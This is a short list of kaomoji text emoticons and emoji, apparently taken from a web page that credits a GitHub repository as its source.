٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇